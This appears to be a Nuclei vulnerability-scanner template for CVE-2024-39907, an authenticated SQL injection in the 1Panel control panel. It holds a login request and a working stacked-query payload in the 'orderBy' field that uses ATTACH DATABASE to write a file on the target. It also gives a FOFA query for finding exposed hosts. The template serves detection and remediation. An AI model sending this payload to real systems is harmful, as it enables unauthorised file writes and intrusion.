1Panel SQL Injection - Authenticated

id: CVE-2024-39907

info:
  name: 1Panel SQL Injection - Authenticated
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    1Panel is a web-based linux server management control panel. There are many sql injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. These sql injections have been resolved in version 1.10.12-tls. Users are advised to upgrade. There are no known workarounds for these issues.
  impact: |
    Authenticated attackers can exploit SQL injection vulnerabilities to execute arbitrary SQL queries, write files, and achieve remote code execution.
  remediation: |
    Upgrade to 1Panel version 1.10.12-lts or later.
  reference:
    - https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-5grx-v727-qmq6
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-39907
    cwe-id: CWE-89
    epss-score: 0.29183
    epss-percentile: 0.98186
    cpe: cpe:2.3:a:fit2cloud:1panel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: icon_hash="1300107149" || icon_hash="1453309674" || cert.issuer.cn="1Panel Intermediate CA"
    product: 1panel
    vendor: fit2cloud
  tags: cve,cve2024,sqli,1panel,authenticated,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        EntranceCode: ZW50cmFuY2U=
        Content-Type: application/json

        {"name":"{{username}}","password":"{{password}}","ignoreCaptcha":true,"authMethod":"session","language":"en"}

      - |
        POST /api/v1/hosts/command/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"page":1,"pageSize":10,"groupID":0,"orderBy":"3;ATTACH DATABASE '/tmp/{{randstr}}.txt' AS test;create TABLE test.exp (data text);create TABLE test.exp (data text);drop table test.exp;","order":"ascending","name":"a"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains_all(body_2, "SQL logic error","table exp already exists")
          - contains(header_1, 'psession')
        condition: and